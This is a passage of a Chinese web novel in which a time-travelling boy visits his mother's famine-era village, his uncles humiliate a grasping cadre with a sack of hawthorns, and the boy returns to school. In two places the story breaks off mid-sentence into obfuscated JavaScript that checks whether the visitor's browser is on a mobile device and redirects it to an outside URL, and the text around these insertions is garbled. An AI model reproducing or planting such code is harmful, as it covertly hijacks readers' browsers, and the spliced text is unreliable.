周爷爷道:“这我到不清楚……不过不好说,姓王的那小子雁过拔毛的,只要是能贴金,他就恨不得都贴自己脸上。” 许放眯了眯眼,他对周敏道:“敏,你带孩子们去西屋睡觉去,我跟爸好好唠唠。” 周敏眨眨眼,拉着许阳许光,“成,那我们就去西屋了。” 其他几位嫂子也能看出眉眼高低来,招呼着孩子们各回各屋。西屋暖和,就让岁数小的进去休息,岁数大的回自己炕上去。 肚子里吃了点儿热乎食儿,可不能随便乱窜,否则太容易消化掉了。 许放跟自己岳丈和大小舅子们嘀嘀咕咕了一个多点儿,然后出来站院子里抽烟。 片刻后几个舅子收拾好了出来,招呼许放一起走。 “爸……”许晨蹑手蹑脚的跟出来,“干啥去啊?” 许放回头,儿子身后还跟着个一脸无奈的顾哲呢。 “去西山溜达溜达。”许放冲着儿子眨眨眼,“你们俩去不?” “带他们干啥?”大舅皱眉。 “带上吧,我刚想了一下,带俩孩子,就说没见过世面去山上看看。”许放冲着许晨顾哲招招手,“走,套兔子去。” 许晨捂着嘴咯咯乐,“成啊,多套点儿,炖兔子吃。” 顾哲看着这不靠谱的爷俩,叹了口气,“要不要跟姨说一下?” “不用说,一会儿就回来了。”二舅伸手把许晨呼啦到自己跟前儿,“走走走,二舅带你去玩。” 几个人呼啦啦出了院子往西山走,周家这边挨着山脚,想上山还挺近。 谁知道刚走几步,那个王大全就溜达来了。 “哟,几位舅爷爷,干啥去啊?” 许晨瞅着这人,穿着身灰色的大棉袄二棉裤,棉袄外面套着干部服,鼓鼓囊囊的。 脑袋上还带了个那种干部戴的软顶戴沿的帽子,要不是岁数年轻长得还算白净,这副打扮,怎么看怎么跟赵四儿似的。 想到赵四儿,许晨就忍不住要笑。 “带孩子去山上转一圈,”周大舅神色不善的看着王大全,“咋?还不让上山了?” “山是可以上,但打猎的猎物要交公的!”王大全一听他们要上山,眼睛都亮了。 周大舅嗤笑道:“打什么猎?你看你爷爷我想是要去打猎的?你有本事你自己去,咱们全村吃肉可就得靠你了。” 说完,白了王大全一眼,往身后招呼道:“走走走,赶紧的,山里可好玩了。” 王大全板着脸,看上去很不开心。 按说往年这个时候,村里都应该组织去打猎了。 山里有狼,有野猪,不在冬天把它们赶去山深处,就容易下来祸害村子。 可今年,村里几个猎户都没动静,那些往年喜欢往山上跑套猎物的,也都不去山上了。 他组织过几次,但都没组织起来。问就是没吃饱,没力气。 要么就说让他一起上山。 王大全哪里敢上山,山上又是狼又是虎的,不小心伤了咋整? 可他也想吃肉啊。 虽然借着大锅饭之便他跟家里人能混个肚饱,但也馋肉。 之前这个时候猎户们都喜欢上山套兔子。等下了雪,就要组织上山打狼打野猪。运回来的肉分给村里一半,家家户户都能吃上荤腥。 可今年…… 这群刁民,是对自己不满啊! 王大全也很气愤,他也不想在村里待着啊,这不是在县里镇上混不下去了吗? 但凡有点儿门路能让他当个干部,他都不可能留在村里! 西山不高,是这边最矮的山头。春夏了老人孩子们会来这里挖野菜找蘑菇。 真要打猎,还得往山里面去,越过西山往深处走,还能看见猎户们留下来的地窨子。 其实深山里也有住人,就是战乱的时候进山里躲避的。 虽然解放了,但一直都没出来,又赶上现在大锅饭瓜菜代,外面管得严,还不如山里呢。 西山后面是一片草甸子,山里放羊放牛的会来这边。 大舅指着西山后面那一溜黑乎乎的山脉道:“里面有山神爷,还有棒槌呢。不少放山的会去那边,山里野猪也多,狼也多,再往深处走还有熊罴呢。” “大舅,山里还有山神庙啊?香火好吗?熊罴是啥玩意?熊又不蜕皮。”三十来年都在城市里生活的许晨,对这些东西一无所知。 几个舅舅嘎嘎大笑,笑声震得山里的鸟都飞起来了。 “你个傻小子,山神是老虎,还山神庙,啥玩意山神庙啊。熊也不蜕皮,跟你说吧,咱们这嘎达,黑熊叫黑瞎子,就是胸口有一块白的那种,黑瞎子。棕熊叫熊罴,比黑瞎子大可多了。” “扬的二正的。”小舅抬手就探了外甥一个脑瓜崩。 许晨捂着脑袋无语,他确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685815|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道啊。 东北的山上都是郁郁葱葱的莽林,林海雪原可不是胡吹的。 进这种林子如果没有熟人带着,很容易就迷路了。东南西北都长一个样,头顶都是树杈子,太阳都看不到。 那些常年长在山里的老山民却不会被这些林子迷惑,在他们眼中,随便什么东西都能拿出来分辨方向。 光线,树冠,树干或者风里传来的气味,都是可以帮着他们指引方向的标示。 据说他们捡起一片树叶子,都能知道这叶子是向阳长的还是背阴长的,哪怕叶子都一模一样。 周家几个舅舅常年在林子里讨生活,不说深山,就近处这片矮山梁,他们说闭着眼都能走个来回。 这次只是进山玩的,舅舅们陪外甥在山里转悠两圈,掏几个松鼠洞,纯哄孩子。 “看,这是狍子的脚印,”二舅舅指着地上一排印子,“一大家子,如果是以前,好歹追上去抓了。” “没有野猪吗?”顾哲也好奇。 他还从来没上过山呢。 “这时候野猪还不会下山,”二舅舅也挺喜欢这个顾家小孩儿的,他之前往镇上去看妹妹,知道顾家这个孩子的情况,“得再冷冷,下了雪,山上不好找吃的,野猪就下来了。有的时候太饿了,就会进村子。狼也会进村子。不过咱们村这边有这片山梁,里面还有片草垫子,又有溪水,吃的东西多,野猪野狼不怎么进村。往那边去……” 他指了指山对面那边:“烧锅屯那边,都是大莽林子,野猪野狼就多,那边猎户也多。” 三舅舅也道:“等春天夏天你们来,山里可多野菜野果子,蘑菇。吃不完的吃。秋天也有,榛子核桃松子儿,之前摘了一些,王八犊子说要上缴,气的咱家都没留,拿去卖了。” 王大全这个胳膊肘子往外拐的货色,搅扰的一个村都不安生。 谁家来亲戚了,他就盯着人家的包,恨不得把人家带的东西都收缴了。 要不是周家辈分高,儿子多,他实在惹不起,就今天这大包小包的,他都能喊上人进门抄家。 估计也是因为这样,别看离得不远,之前周敏好几个月都不回来。 许晨听着担心,道:“那咱家那些粮食做出来有香味,他让人进来抢咋整?” 一百多户人家呢,也不可能全都是一条心。 现在家家户户都吃不饱,谁家藏着粮食,那些饿肚子的听见眼睛都能绿了。 几个舅舅并不担心,大舅笑道:“不从家里整,拿去山里炕成饼带回去,泡热水吃。从家里弄,烟囱冒个烟他们都得过来闻闻味儿。” 所谓上有政策下有对策,老百姓为了生活,什么招都想得出来。 你不让在家做吃的,我就去深山老林里做,弄熟了拿回来偷摸吃。 有本事你就派人天天盯着我,跟着我。 再本事多点儿,跟我进林子啊。 等进去了,能不能出来,可就不一定了。 能跟在王大全屁股后面转悠的,有几个有本事的? 毕竟有本事的人,都自己想办法找出路去了,谁会跟一个彪子表忠心啊。 17.山里红 山里吃的确实不少,一些柿子还没有被鸟吃掉,挂在树梢上,都冻硬了。 还有那些山里红,这玩意算是山里孩子最喜欢的零食了,但这时候没人吃。 因为太开胃了。 原本就吃不饱,再吃几颗山楂,好家伙,人就别活了。 许晨眼珠子一转,跟他爸许放嘀嘀咕咕了片刻,父子俩嘎嘎乐着跑去摘山里红了。 舅舅们问清楚了,也跟着摘,连小大人顾哲都忍不住笑出声来。 许晨真的是,一肚子坏水儿。 “王干部王干部,他们下山了,背了好大一袋子的东西!” 一个瘦猴子钻进王大全家院子,通风报信。 他跟山脚下盯了好半晌了,都被冻透了。好不容易看见人下山,忙不迭回来领赏。 “我就知道那一家子会偷摸整吃的呢!”王大全兴奋的站起身,抄起大棉袄穿上,又把干部服的扣子系好,“他家闺女女婿都在林场上班,还有个在铁路派出所的,好不容易来一趟,能不带吃的?偷偷摸摸上山,我看就是想假装去山上换个方式把粮食弄回来!” 现在去山上弄点儿野菜野果没人管,毕竟真把人逼急了会出人命的。 但如果是饱腹的粮食,他王大全必须要弄到手! 这关系着他在村里的威望,毕竟他还想竞争一下大队长呢。 哪怕是个村干部,那也是正经干部啊。 王大全一边往山脚下赶,一边儿张罗着喊着其他村民。 周家人不好惹,光靠他一个人可顶不住。 但村里人都在呢? 大家都饿,你弄了一大包吃的,难道就要自己偷摸吃?这让村里其他人怎么看? 以后能不对你周家有想法? 你周家不是又是民兵团长,又想竞争一下村支书或者大队长吗? 但凡你有吃的不拿出来分,就别想让村民给你投票! 周大舅扛着一大袋子东西刚要进门,就被王大全喊住了。 回头一瞅,好家伙,王大全身后呼啦啦跟着不少人,都眼巴巴的盯着他背的袋子呢。 “王大全,你这是什么意思?”周大舅把肩膀上的袋子放下来往地上一顿,那种沉甸甸的感觉,让不少人都眼红了。 王大全笑的一脸油腻,“周大爷爷,哎哟,你这是打猎回来了?” 周二舅道:“打什么猎打什么猎?我们枪都没带,什么打猎。就去山上摘点儿野果子弄点儿山货,给我妹夫带回去吃。” “山货?”王大全可不信,“什么山货啊,这么多?我们天天饿着肚子,这附近的山都找遍了,也没找到这么多山货啊。” “二舅,他们不会是想要抢这个吧?”许晨不敢了,搂着袋子道:“不行不行,这是我的,拿回去我要吃的,是我的是我的!!”说着,还坐到地上开始撒泼了。 许放差点儿憋不住笑。 自己儿子灵魂都快三十了,如今做出这种样子,想一想都让人笑得不行。 “怎么回事?”周家三个爷爷出来了,大爷爷拎着烟斗,还是个大光头。大马金刀往那里一站,特别有气势。 大舅苦着脸道:“给孩子们整了点儿吃的,王大全巴巴带人来抢呢。” 小舅躲在后面,偷摸的跟自己亲爹嘀咕了几句,抱怨道:“又不是什么能饱腹的,我们从上山他们就盯梢,还没下山呢就来堵着了。” 王大全不乐意了,“山上的东西也是集体资产,如今大家都饿肚子,谁都不准偷摸的吃东西!” “为啥饿肚子你心里没数啊?哎哟,亩产十万~谁跟上面吹牛放炮的,把咱们的粮食都拉走了?”周爷爷听完,阴阳怪气道:“还不是你王大全搞得?如今大家都饿肚子,你就应该天天跟村口跪着给我们磕头赎罪!” 王大全涨红了脸,“你这话说的,你……上面还给我们发奖状了呢,你咋不说?” “奖状能吃饱吗?奖状能吃饱你把奖状炖了去,看看能不能让咱们吃饱肚子!”二舅翻了大白眼,“我们辛辛苦苦弄回来的东西,你说弄走就弄走?” “娘,我饿!”后面不知道谁家孩子喊了一声。 有妇女嘤嘤嘤哭着道:“周家爷爷,我们大人少吃一口就算了,但孩子们是真的饿啊。求求你们行行好,哪怕给孩子口吃的都成啊。” 这就是道德绑架了。 一时间村民们纷纷嚷嚷起来,要么说什么集体财产就得拿出来分,要么就哭着喊着说饿,让周家人行行好,给口吃的。 王大全洋洋得意,却又一副苦口婆心的样子道:“就算我之前做错了,可如今已经是这样了。总不能看着咱们屯子里的人都饿着吧?尤其是孩子们,饿的骨头棒子都支棱了,我看着也心酸。” “我不给,我不给!!”许晨抱着袋子嗷嗷叫,一边叫一边冲着站在门里面的爷爷们挤眉弄眼。 几个老爷子差点儿笑出来。 周大舅道:“不是我不给,这东西是真的不能给你们吃!” “有什么不能吃的?我现在恨不得啃树皮了!只要是口吃的就成!”那个通风报信的瘦子也嗷嗷叫,还噗通跪下来了,“周家爷爷们,求求了,大家真的是饿的不行了啊。你们家有工人,能弄到粮食吃,但我们是真没有办法弄吃的!求求了。” 周大舅大声道啊:“这东西真不能给你们吃!!!” 王大全不依不饶道:“什么东西我们不能吃,但你外甥能吃?只要你外甥能吃,我们就能吃!只要你拿出来,晚上我就弄给大家伙儿吃!” “不行!”周大舅沉着脸,“你按的什么心,这东西确实不当饿。” “不当饿我们也吃!” “对,只要是吃的我们就吃!” “你们周家人咋回事,就知道吃独食?是不是想饿死我们啊!” “这东西真的不行!”周大舅紧紧地攥着麻袋口,手上的青筋都爆出来了,“孩子好不容易来一趟!” 王大全大声道:“难道你就眼睁睁的看着村里的孩子们饿肚子?你们也太恶毒了!我发誓,无论包里是什么,晚上我就全给大家炖了吃!!” 突然从人群里冲出来几个人,上来就抢袋子。 许晨嗷嗷叫着要抢回来,却十分“柔弱”的被推开,“跌”进顾哲怀里,还跺脚哭呢,“这是我的,这是我的,不能给你们!!” 那几个人抢了袋子就跑,来到王大全跟前儿抓住袋子往外倒。 这袋子是麻做的,也就是麻袋,又厚实又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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开什么玩笑,这玩意吃一碗,胃都得抽抽了。 光用看的,嘴里就冒酸水,觉得饿了。 “让你们来你们就来?为什么就你们来了别人不来,别人都不饿??”民兵大队长以前也是当兵的,受伤后回到村里当了个大队长。他是个暴脾气,人又耿直,“就你们几个,天天别人放个屁都要闻个味占便宜的,别以为我不知道你们什么心思!王大全,这事儿你打算怎么弄?” “还有,”村支书也没好气道:“什么王干部王干部,他算是什么干部?从今天开始,王大全你也不要管食堂了,老老实实在家里待着吧,净整些幺蛾子!” 王大全一听就傻眼了,“不行不行,李老叔,我这个活儿还是镇上干部提议的呢,是他任命我的!” “那你就去找他要吃的!”民兵大队长暴怒道:“他有本事,你去找他!别特么天天来祸害我们屯子里的人!!要不是你,大家伙儿还不至于饿成这样,平时不稀得搭理你,你真当自己是块好料了??” “明天我就去镇上,说你煽动群众,聚众闹事。”村支书推了推脸上的老花镜,“王大全,你的书都读到狗肚子去了!” 18.老子给你一电炮 许放也严肃道:“这件事我会去镇里好好反应反应,一个品德不端的高中生,把咱们屯子里搅扰成这样,这还得了?” 听到品德不端四个字,王大全的脸顿时青了,他大喊道:“我没有,都是他们冤枉我,故意打压我!” 许放冷笑道:“哦,那正好,我派出所的。你说谁冤枉你打压你?你报警,我去帮你伸张正义。” 王大全张了张嘴,愤愤的从地上爬起来,“我看出来了,你们这是算计我呢!” “谁特么有功夫算计你个彪子!”周大舅啐了口,“真当自己是根葱呢,问题谁拿你蘸酱啊。是老子让你盯梢的?是老子让你喊一群人来闹事儿的?眼大腚小,还什么坐都想坐一下呢,你也配!” 王大全被气了个一佛出世二佛升天,但又找不到话反驳,怒气冲冲的哼了声,转身就想走。 “别走啊,你不是说是吃的你就要吗?如今都被你抢走了,说走就走,不吃了?哪儿这么容易!”周家五舅六舅在旁边看半天热闹了,见人想走,俩人几步冲过去,直接把人抓了,周五舅道:“我告诉你王大全,今天这东西,你吃也得吃,不吃也得吃!” “对,让他吃!”跟周家关系好的都是后面跟上来的,看见王大全吃瘪,心里别提多开心。 民兵大队长也道:“今天老子就从这里看着你吃,”他抬脚踢了踢散落在地上的山里红,“袋子里就免了,地上的就都便宜你了吧,王大全,你就跟这里吃,吃的饱饱的,别说我们饿着你了。” 那些跟着王大全起哄的几个人,看苗头不对,都悄悄的往后面躲。 不过这几个人就是架秧凑热闹的,只要王大全不折腾,他们也不敢折腾。 其他人眼睛都没夹他们一下,就盯着王大全呢。 王大全走也走不了,毕竟这么多人围着呢,他谁也打不过啊。 但又不想吃山里红,别说吃了,就看一眼,都觉得腮帮子酸的难受。 “吃!”周五舅晃了晃沙包大的拳头,“少吃一个,老子给你一电炮!” 王大全本身就是个怂货,之前他能作威作福,就是仗着拍了镇上一个干部的马屁,那干部随口说让他管食堂,这种大锅饭时期最重要的差事。 村里人也不爱招惹事端,反正你管食堂,我去吃饭,你不能少我的。 而且满屯子的人眼睛都盯着呢,你也不能往家里捞。 提前在食堂吃饱无所谓,但如果敢捞好处,那就等着挨揍吧。 王大全本身就怂,属于心比天高但又怂又奸的那种。听说他高中读了五年才读下来,结果拿到毕业证屯里的人都以为他要留在镇上或者县里当干部呢,谁知道又因为调戏妇女,被赶回来了。 这种人,村里也懒得搭理他。 但凡放在解放前,这家伙就是那种原地成汉奸的玩意儿。 正式因为大家都不稀得搭理他,让他成天上蹿下跳作威作福,但家家户户都穷,他也没有得什么好处,也就这么过了。 矛盾真正加深,其实就是入冬的这一个来月。 王大全天天催着村里的人组织上山打猎,又要求所有东西都得上交食堂。打猎上山也不是一天两天的事儿,不少猎人从山上一待就是十天半个月的,少说也得四五天。 就这样,王大全还不批干粮,说当猎户们在山上吃野果子也能吃饱,干粮节省下来给需要的人吃。 这特么人话?? 怨气一天天积累,今天终于爆发了。 王大全是一路吐着酸水回去的,身后一片肆意的嘲笑声。 他肚子鼓鼓,吃了差不多得有两斤的山里红。 一开始还能嚼两下,吃没多久牙都酸倒了,只能干咽,咽的直抻脖子。 王大全在心里,把屯子里的人从头到脚挨个的骂,恨不得祖宗八代都挖出来骂。 但不敢出声。 他在屯子里,其实是个外姓人。 倒不是说屯子里没有姓王的,也有。虽然这个屯子大户姓李,姓张,但零散的姓氏也有。 不是当年闯关东来的,就是胜利之后留在这边的兵。 民兵大队长姓郁,这个姓可惜有了,老家是南边的,说是挨着海。 但家里人都没了,打完抗美援朝战争的时候都二十五六岁了,干脆就留在了东北,跟着老乡来到了这个屯子扎根落脚。 然后又在这边娶妻生子,如今老大都快六岁了。 可王大全这个“外姓人”,就是他爹做的孽。 他爹就是个外面来的,得这边那个财主家收留当了长工,还把闺女嫁给他。 结果呢?这人不当人啊。 留下王大全这么个祸害! 其实屯子里的人对王大全还是很不错的,毕竟当年他爹死之后,村里人确实分了老财主家里剩下的东西和粮食。 其实那时候王大全说是孩子,也十多岁了,还在读书。 屯子里的人就想着养个读书人出来,家家户户出钱养着他,结果这家伙读书实在不像样,读到二十多岁高中才毕业,毕业之后就被人撵回来了,啥干部都没当上。 只能说,这个老王家,根就不正。 王大全出了事儿,一个替他说话的都不可能有! 他在外面啃山里红的时候,村支书,大队长进了周家院子,跟周爷爷他们唠嗑去了。 “明天我必须要去镇上,去公社,好好说说这个王大全!”大队长,也就是曾经的村长李光辉气的不行,“以前觉得他可怜,爹死了娘跑了,毕竟那些事跟他一个在镇上读书的孩子也没有太大关系……谁知道还养出这么个玩意儿!” 周大爷爷装了一袋旱烟,然后把装旱烟的簸箩推到大队长他们跟前儿。 大队长跟村支书都是烟鬼,从簸箩里挑了张纸条,这是家里孩子写作业的本子,写满了也不会扔,都被裁成一条条的,卷烟卷用。 几个老爷们开始吞云吐雾。 这旱烟的味儿特别浓郁,特别呛。 许晨原本还想听听他们聊什么呢,但待了一会儿就待不下去了,生怕自己被薰成腊肉,拽着顾哲跑去院子。 院子里,几个女人正在收拾捡回来的山里红。 用筷子把山里红的核捅出来,然后切成片,放在篦子上晾晒。 山楂片是好东西,什么降血脂降血压减肥…… 但在这个年代,尤其是这几年,山里红烂地里都不会有人吃。 女人们切片,周围几个小孩子看着嘴里直冒酸水,也没谁说要吃一块的。 一吃就饿,肚子里的那点儿食儿还想扛到吃二顿饭呢。 在村里,上午十点吃第一顿饭,下午四点吃二顿饭,就没了。 一天两顿饭,晚上实在太饿了就喝水,最好的办法是早点睡,晚点起,所谓猫冬。 王大全走了没多久,村支书他们也离开了。 脸上还带着笑,不知道跟屋里唠了啥。 “明天咱们跟村支书他们一起去镇上,”许放拉着老婆孩子道:“王大全不解决,咱们也没法打猎。老爷子说了,正经打猎得等下雪之后才行,到时候能去林场那边,那边也组织打猎。” 许放也没啥太多想法,只想着从林子边上转悠转悠,捡个漏啥的。 什么抓野猪打狼这种活儿,也就看别人干,他上真不行。< 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女人长相身段儿,确实跟北方女人不一样,娇小玲珑,说话还带着一股子南方那边吴侬软语的劲儿。 “你是为大家谋福利的英雄啊,呜呜呜,他们怎么能这么欺负人呢。” 如果说俩人刚成亲之后撕破伪装的时候确实两看生厌,但毕竟成了一根绳上的蚂蚱。 女的叫崔秀秀,长得确实漂亮,身材好,嘴甜会说话,会哄人。 王大全好歹是读了高中的,肚子里有点儿墨水,个头也不矮,一米七多的个,也是能唬人的架势。 时间长了,到也能在一起过日子了。 只不过结婚两年,崔秀秀肚子一点儿动静都没有,王大全心里烦。 但他也不敢下手打媳妇儿,因为他没有帮手。 之前两口子吵架,他抽了崔秀秀一嘴巴,好家伙,捅了马蜂窝。 被这娘俩好一顿挠,在家躺了三四天才敢出门。 丈母娘嫌弃的打扫完地上的脏东西,看着脸色青白的女婿,嘴角抽了两下,“到底发生了什么事嘛?” 外面闹哄哄的,但人家母女俩从来不出头。 毕竟出身不好,出门被人白眼儿都是自找的。 她们只知道王大全盯上了周家,因为周家有个在镇上林场派出所上班的女婿,钱多,也舍得花钱。 这次来的时候大包小包的,不知道装了什么东西,但绝对都是好东西。 只可惜王大全去要,被怼回来了,没占到便宜。 不过看到周家人上山,王大全又钻出来馊主意了,找人去盯梢,坚信周家人上山一定是去打猎了。 女婿上门,还不得整点儿肉吃吗? 谁知道,竟然是弄了一麻袋山里红!! “真是黑心肝的,这年头,谁吃那东西啊!”崔秀秀假模假样的抹眼泪,哄着王大全,“全哥,你真的是受委屈了。你这样的人才窝在山沟里和这一群刁民在一起,哪里斗得过他们啊?不如想想办法,咱们去县里吧?这个县不行,去别的县也可以啊。我看,他们就是眼红全哥你的能力,就是想要打压你。” 王大全咬牙切齿,心说难道我看不出来吗? 可问题他的户口在村里,想要出去哪儿就这么容易了? 若是十几年前,找个富裕的地方装逃荒也能落了户。可是现在不行,去哪里都得开证明! “哕!!”王大全胃里直反酸,“别,别说了,家里有什么吃的吗?哕,快给我整一口,我得往下压一压。” 山里红吃多了,实在是太难受啦! 19.不想上学 一家子跟这边住了一宿,第二天一大早,就收拾东西挑着扁担要离开了。筐里放的是山里红,还有几十个冻柿子冻梨啥的。 周奶奶还偷偷地往筐紧里面塞了七八个大红薯,五六根大萝卜。 这都是自家在山里偷摸种了偷摸运回来的,没被王大全发现,否则早就被嚷嚷着要充公了。 大队长那边早就准备好了牛车,天还黑着呢,许晨坐在车板上,抱着棉被,靠在顾哲身上直打盹儿。 不知道走了多久,被他娘喊起来的时候,东边才刚开始微微发亮。 许晨是第一次来这边小火车的始发站,林场的伐木场。 漫山遍野的松树杉木,笔直笔直的树干伸向天空。 住在这边的工人们已经起来开始收拾工具了,他们伐木没有油锯电锯,全部人工。 斧子和大锯条,就是如今的主力。 伐木工一个个长得都老壮了,不壮的抡不动斧子,抬不动木头。 工人们正在用滑轮往小火车上运木头,许晨一家子已经进了林场这边守场地的工人小屋取暖,否则跟外面站着,几分钟山风就把人吹成冻干了。 这边的工人小屋十分有特色,跟村里建造的屋子有些像,都是半米在地下,从外面进屋得先低头走台阶。 这样建造是因为可以保证房子冬暖夏凉,也算是北方农村建房的一种特色。 林场小屋更有特色,因为整间屋子都是木头盖的。 大原木中间竖着劈开,两端做成楔子口,巨大的木头紧紧的咬在一起,形成墙壁。 木头墙壁做了两层,中间塞满了碎石泥土。 一个是为了保温,第二个是这么厚实的墙,可以挡得住山里野兽的袭击。 毕竟这里就在山边上,往年野猪熊瞎子没少下山找事儿。但无论它们多凶恶,也无法撼动这样的小屋子。 屋里也有火炕,还点了火盆。 屋里热烘烘的,有一股膻味和酸臭味,有些辣眼睛。 但真的很暖和。 “打猎啊?”林场这边的人穿的都老厚实了,人人带着狗皮帽子,还有戴狍子皮或者狼皮帽子的,那都是自己打的猎物。 还有几个小孩儿,其中一个脑袋上戴的是狍角帽子,也就是狍子皮上带两根小狍子角做成的帽子,在孩子眼里,这可是“权威”的象征。 谁有这么顶帽子,那就是孩子里面的最受欢迎的小朋友。 林场这边的小孩儿看着屋里几个从镇上那边来的小孩儿,也不招呼着玩,哈哈笑着跑远了。 伐木场这边管事儿的大哥抽着旱烟袋子,浓郁的烟雾弥漫着整个房间。 周敏带着孩子坐在门边,门帘子撩开一个缝,方便透气。 要不是外面实在太冷,山风又硬,她都不愿意在屋里待着。 “得等下了雪,到时候咱们也组织打猎。你们派出所也可以派人来跟着一起,林场有老炮子,打猎的好手。” 不是每个猎户都能被称之为炮,尤其是老炮。被称呼老炮那都是相当有经验的老猎手。 老炮不止能打猎,还有着丰富的丛林生活经验。能认方向,能找水源,晚上会选安全营地。 有这种老炮带着,打猎的人能在山上住十天半个月,甚至一个月都没问题。 时间越长,猎物就越丰厚。打完了用爬犁拉回来,都能堆成小山。 “那成,”许放往这位大哥手里塞了一包牡丹江,“到时候提前去派出所跟我说一声,我好安排人。” 大哥哈哈笑,露出满嘴烟渍的大黄牙,“放心兄弟,这种事都得提前说,不光我们这边,你们那边也得通知到,否则来了肉咋分?分不好不得掐起来?” 大家都饿肚子,为了几斤肉打起来太正常了。 别说几斤了,几口肉都能掐起来。 等回到家,才到早晨七点。 大家伙刚从被窝里爬出来,准备上工了。 许放周敏两口子收拾收拾要准备去上班了,顾哲也要去上学,还问许晨去不去。 许晨立马就开始装头疼。 顾哲叹气,“你再不去,等下了大雪可能就要停课了,到时候会考试。如果明年升级的时候你考不好,会留级的。” “那我……”许晨想说你回来教我就好了,上不上课对我来说也没啥啊。 “他明天就去上课,今天在家歇一天吧。大哲你也在家歇一天。”周敏已经把套袖都套好了,准备出门,“你们几个小的都在家歇着,饿的话……大哲你会擦粥不?擦个粥给他们喝。” 顾哲想了想,点头同意了。 “妈,那我们烧个炕,补个觉。”许晨睏的不行,“兴许一觉起来就中午了呢,直接去吃饭。” “随你们。”周敏临走之前,还拿了俩之前剩下来的黑窝头,搓成碎渣把鸡喂了。 也就是家里有托底的,否则换个人都舍不得用窝头喂鸡。 鸡窝里还摸出三个鸡蛋,被周敏小心翼翼的放进房梁上吊着的篮子里,“那我走了啊,晨晨大哲你们是哥哥,看好弟弟妹妹。” “知道了妈,我又不是小孩儿了。”许晨笑嘻嘻的看了眼许阳许光,“一会儿烧了炕都上炕睡觉去!” 许阳打了个呵欠表示同意,许光一切向姐姐看齐,姐姐点头,他就没意见。 周敏觉得没有什么事了,于是赶紧去上班。 别看回收站一天到头没个人去卖废品,但你作为职工,不去不行。 顾哲帮着许晨在铝锅里倒了水,又开始烧灶。 许晨是真的一点儿都不会,只能眼巴巴从旁边看着。顾哲熟练的折了小树枝,又塞了把干草进去,然后小心翼翼的划着火柴,将干草点燃。 小树枝也熊熊燃烧起来,顾哲又去拿了几块大木头,小心翼翼的塞进去。 “塞满就行了?”许晨问。 顾哲摇头,“不能塞太满,没有空气流通这火就烧不起来了。烧一会儿等炕热了,就留个大木头在里面慢慢烧,其他的火可以撤了。” 等炕烧热了,许阳就带着许光把炕铺上,顾哲去自己家转了圈,然后回来,将大门关好,屋门窗户检查一遍,这才放心的回里屋。 许晨已经扒了衣裳钻被窝了,进去后还 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许光这才慢腾腾的从被窝里探出头,像个蜗牛,“这就吃饭了?我咋感觉才刚闭眼呢。” “可拉倒吧,睡的跟死猪一样。我把你塞哥被窝里你都不带吭一声的。赶紧起,慢了拖了后腿小心我揍你!” 许阳挥了挥小拳头,大姐不在家,她这个当二姐的,必须要有震慑力。 许光一听这话,瞌睡立马跑了,迅速的起身穿衣裳,“二姐别揍我,你揍大哥吧,他还墨迹呢。” 许晨:…… 许阳看了许晨一眼,哼了声,“那中午就不带他的饭。”说完,转身出去继续灌热水了。 顾哲忍不住嗤嗤笑,“你还不赶紧穿衣裳?一会儿我姨可就回来了。” 许晨去拽放在炕头的棉裤棉袄往身上套,嘴里还叭叭,“许阳也太凶了,这么凶,以后可咋整?” “二妹这样挺好,不受欺负。”顾哲倒是觉得女孩子凶一些没问题,不凶的话,食堂抢饭都抢不到头茬。 说话间,许光已经套好衣裳,跳下炕去穿鞋,“大哥你最慢,被子你叠!”说完一溜烟跑了出去。 许晨压低声音道:“以后我妹因为凶嫁不出去,就赖上你了。谁让你说凶一点儿好的。” 顾哲:…… 他登时红了脸,道:“你胡乱说什么?再乱说小心我也揍你。” 许晨:…… 不是吧?这种一听就是玩笑话,也能让人脸红? 难不成你真看上我妹了? 还是你太保守?? 许晨又不太敢说话了,他实在摸不清这个时代的人到底什么脉门。 顾哲气哼哼的合上书本,转身也下了炕,提上鞋子出去准备碗筷。 许晨坐在炕沿上挠头,这种无聊男大宿舍夜谈的笑话,看来是不能随便说了。 他爸说这个时代的人保守又敏感,万一那句话说出了问题,那就是大问题。 毕竟再过十年,就要起风了…… 20.典型学渣 “许晨晨,你可算来上课了!”季航扭着头往后看,他坐在许晨前排,顾哲是许晨同桌,“你再不来,等下雪了又放假,转眼就要过年了啊。” “去去去,这才十月份,过什么年,你就想着过年!”许晨从书包里掏出薄薄的课本,看着就叹气。 梳着两条麻花辫坐在第一排的小班长幸灾乐祸道:“明天就是小测呢,许晨你不会又吃个大鸭蛋吧?” 季航回头看她,“姜娜娜,你管许晨吃不吃鸭蛋呢,真有鸭蛋他也不给你吃啊。” 姜娜娜气道:“还有这么多天的作业许晨也没做,什么都不会,以后只能当二流子!” 季航又要跟她吵,被许晨拽了一下,“有啥好吵的,不就是小测吗?随随便便一写就能及格了。” 什么考一百分做逆袭少年这种中二的想法他可没有,原身就是个不爱学习的,成天就知道上蹿下跳,上课招猫逗狗,拽女同学小辫儿。 下课不是下水摸鱼就是上树掏鸟窝,书包那是书包吗? 那是流星锤! 一到考试就抓耳挠腮,全靠顾哲给他看卷子了。 不过现在的许晨虽然算不上学霸,但好歹也是正经大学毕业的,区区初中课程可难不倒他。 而且他可是学室内设计的,室内设计已经算是半个理科了。 姜娜娜翻了个大白眼儿,“就你还及格,要不是当初顾哲给你看卷子,你能上初中吗?” 她是真的不喜欢许晨,但却喜欢稳重好看的顾哲。 可每次顾哲都护着许晨,让她心里老不舒服呢。 许晨挠了挠耳朵,当没听见。 